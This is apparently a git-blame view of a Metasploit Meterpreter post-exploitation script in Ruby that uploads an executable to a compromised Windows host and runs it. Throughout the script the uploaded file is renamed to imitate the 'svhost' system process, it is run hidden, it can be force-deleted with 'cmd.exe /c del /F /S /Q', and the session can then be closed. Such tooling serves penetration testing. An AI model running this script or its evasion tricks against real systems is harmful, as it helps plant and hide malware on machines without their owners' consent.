2009-11-05 00:33:37 +00:00
|
|
|
|
2009-07-24 18:26:38 +00:00
|
|
|
session = client
|
|
|
|
@@exec_opts = Rex::Parser::Arguments.new(
|
2013-09-30 18:47:53 +00:00
|
|
|
"-h" => [ false,"Help menu." ],
|
|
|
|
"-e" => [ true, "Executable or script to upload to target host." ],
|
|
|
|
"-o" => [ true, "Options for executable." ],
|
|
|
|
"-p" => [ false,"Path on target to upload executable, default is %TEMP%." ],
|
2013-11-22 08:59:01 +00:00
|
|
|
"-x" => [ false,"Exit the session once the payload has been run." ],
|
|
|
|
"-s" => [ true,"Sleep for a number of seconds after uploading before executing." ],
|
2013-09-30 18:47:53 +00:00
|
|
|
"-v" => [ false,"Verbose, return output of execution of uploaded executable." ],
|
|
|
|
"-r" => [ false,"Remove the executable after running it (only works if the executable exits right away)" ]
|
2009-07-24 18:26:38 +00:00
|
|
|
)
|
2009-10-25 20:57:23 +00:00
|
|
|
|
2009-07-24 18:26:38 +00:00
|
|
|
################## function declaration Declarations ##################
|
|
|
|
def usage()
|
2013-09-30 18:47:53 +00:00
|
|
|
print_line "UploadExec -- upload a script or executable and run it"
|
|
|
|
print_line(@@exec_opts.usage)
|
|
|
|
raise Rex::Script::Completed
|
2009-07-24 18:26:38 +00:00
|
|
|
end
|
2009-10-25 20:57:23 +00:00
|
|
|
|
2009-07-24 18:26:38 +00:00
|
|
|
def upload(session,file,trgloc = "")
|
2013-09-30 18:47:53 +00:00
|
|
|
if not ::File.exists?(file)
|
|
|
|
raise "File to Upload does not exists!"
|
|
|
|
else
|
|
|
|
if trgloc == ""
|
2013-12-19 01:43:59 +00:00
|
|
|
location = session.sys.config.getenv('TEMP')
|
2013-09-30 18:47:53 +00:00
|
|
|
else
|
|
|
|
location = trgloc
|
|
|
|
end
|
|
|
|
begin
|
|
|
|
ext = file[file.rindex(".") .. -1]
|
|
|
|
if ext and ext.downcase == ".exe"
|
|
|
|
fileontrgt = "#{location}\\svhost#{rand(100)}.exe"
|
|
|
|
else
|
|
|
|
fileontrgt = "#{location}\\TMP#{rand(100)}#{ext}"
|
|
|
|
end
|
|
|
|
print_status("\tUploading #{file}....")
|
|
|
|
session.fs.file.upload_file("#{fileontrgt}","#{file}")
|
|
|
|
print_status("\t#{file} uploaded!")
|
|
|
|
print_status("\tUploaded as #{fileontrgt}")
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_status("Error uploading file #{file}: #{e.class} #{e}")
|
|
|
|
raise e
|
|
|
|
end
|
|
|
|
end
|
|
|
|
return fileontrgt
|
2009-07-24 18:26:38 +00:00
|
|
|
end
|
2010-05-04 22:41:57 +00:00
|
|
|
|
2009-07-24 18:26:38 +00:00
|
|
|
#Function for executing a list of commands
|
2010-07-10 13:44:26 +00:00
|
|
|
def cmd_on_trgt_exec(session,cmdexe,opt,verbose)
|
2013-09-30 18:47:53 +00:00
|
|
|
r=''
|
|
|
|
session.response_timeout=120
|
|
|
|
if verbose == 1
|
|
|
|
begin
|
|
|
|
print_status "\tRunning command #{cmdexe}"
|
|
|
|
r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => true})
|
|
|
|
while(d = r.channel.read)
|
|
|
|
print_status("\t#{d}")
|
|
|
|
end
|
|
|
|
r.channel.close
|
|
|
|
r.close
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_status("Error Running Command #{cmdexe}: #{e.class} #{e}")
|
|
|
|
raise e
|
|
|
|
end
|
|
|
|
else
|
|
|
|
begin
|
|
|
|
print_status "\trunning command #{cmdexe}"
|
|
|
|
r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => false})
|
|
|
|
r.close
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_status("Error Running Command #{cmdexe}: #{e.class} #{e}")
|
|
|
|
raise e
|
|
|
|
end
|
|
|
|
end
|
2009-07-24 18:26:38 +00:00
|
|
|
end
|
2010-05-04 22:41:57 +00:00
|
|
|
|
2009-07-24 23:41:07 +00:00
|
|
|
def m_unlink(session, path)
|
2013-09-30 18:47:53 +00:00
|
|
|
r = session.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'})
|
|
|
|
while(r.name)
|
|
|
|
select(nil, nil, nil, 0.10)
|
|
|
|
end
|
|
|
|
r.close
|
2009-07-24 23:41:07 +00:00
|
|
|
end
|
2010-09-09 16:09:27 +00:00
|
|
|
#check for proper Meterpreter Platform
|
|
|
|
def unsupported
|
2013-09-30 18:47:53 +00:00
|
|
|
print_error("This version of Meterpreter is not supported with this Script!")
|
|
|
|
raise Rex::Script::Completed
|
2010-09-09 16:09:27 +00:00
|
|
|
end
|
2011-01-16 05:23:57 +00:00
|
|
|
unsupported if client.platform !~ /win32|win64/i
|
2009-07-24 18:26:38 +00:00
|
|
|
#parsing of Options
|
|
|
|
file = ""
|
2010-07-10 13:44:26 +00:00
|
|
|
cmdopt = nil
|
2009-07-24 18:26:38 +00:00
|
|
|
helpcall = 0
|
|
|
|
path = ""
|
2009-07-24 23:41:07 +00:00
|
|
|
verbose = 0
|
|
|
|
remove = 0
|
2013-11-22 08:59:01 +00:00
|
|
|
quit = 0
|
|
|
|
sleep_sec = nil
|
2009-07-24 18:26:38 +00:00
|
|
|
@@exec_opts.parse(args) { |opt, idx, val|
|
2013-09-30 18:47:53 +00:00
|
|
|
case opt
|
|
|
|
when "-e"
|
|
|
|
file = val || ""
|
|
|
|
when "-o"
|
|
|
|
cmdopt = val
|
|
|
|
when "-p"
|
|
|
|
path = val
|
|
|
|
when "-v"
|
|
|
|
verbose = 1
|
|
|
|
when "-h"
|
|
|
|
helpcall = 1
|
2013-11-22 08:59:01 +00:00
|
|
|
when "-s"
|
|
|
|
sleep_sec = val.to_f
|
2013-09-30 18:47:53 +00:00
|
|
|
when "-r"
|
|
|
|
remove = 1
|
2013-11-22 08:59:01 +00:00
|
|
|
when "-x"
|
|
|
|
quit = 1
|
2013-09-30 18:47:53 +00:00
|
|
|
end
|
2009-07-24 18:26:38 +00:00
|
|
|
|
|
|
|
}
|
2009-10-12 23:42:50 +00:00
|
|
|
|
2010-07-10 13:44:26 +00:00
|
|
|
if args.length == 0 || helpcall == 1
|
2013-09-30 18:47:53 +00:00
|
|
|
usage
|
2009-11-05 00:33:37 +00:00
|
|
|
end
|
|
|
|
print_status("Running Upload and Execute Meterpreter script....")
|
|
|
|
exec = upload(session,file,path)
|
2013-11-22 08:59:01 +00:00
|
|
|
if sleep_sec
|
|
|
|
print_status("\tSleeping for #{sleep_sec}s...")
|
2013-11-26 21:51:11 +00:00
|
|
|
Rex.sleep(sleep_sec)
|
2013-11-22 08:59:01 +00:00
|
|
|
end
|
2010-07-10 13:44:26 +00:00
|
|
|
cmd_on_trgt_exec(session,exec,cmdopt,verbose)
|
2009-11-05 00:33:37 +00:00
|
|
|
if remove == 1
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("\tDeleting #{exec}")
|
|
|
|
m_unlink(session, exec)
|
2009-07-24 18:26:38 +00:00
|
|
|
end
|
2013-11-22 08:59:01 +00:00
|
|
|
|
|
|
|
if quit == 1
|
|
|
|
print_status("Closing the session...")
|
|
|
|
session.core.shutdown rescue nil
|
|
|
|
session.shutdown_passive_dispatcher
|
|
|
|
end
|
|
|
|
|
2010-05-04 22:41:57 +00:00
|
|
|
print_status("Finished!")
|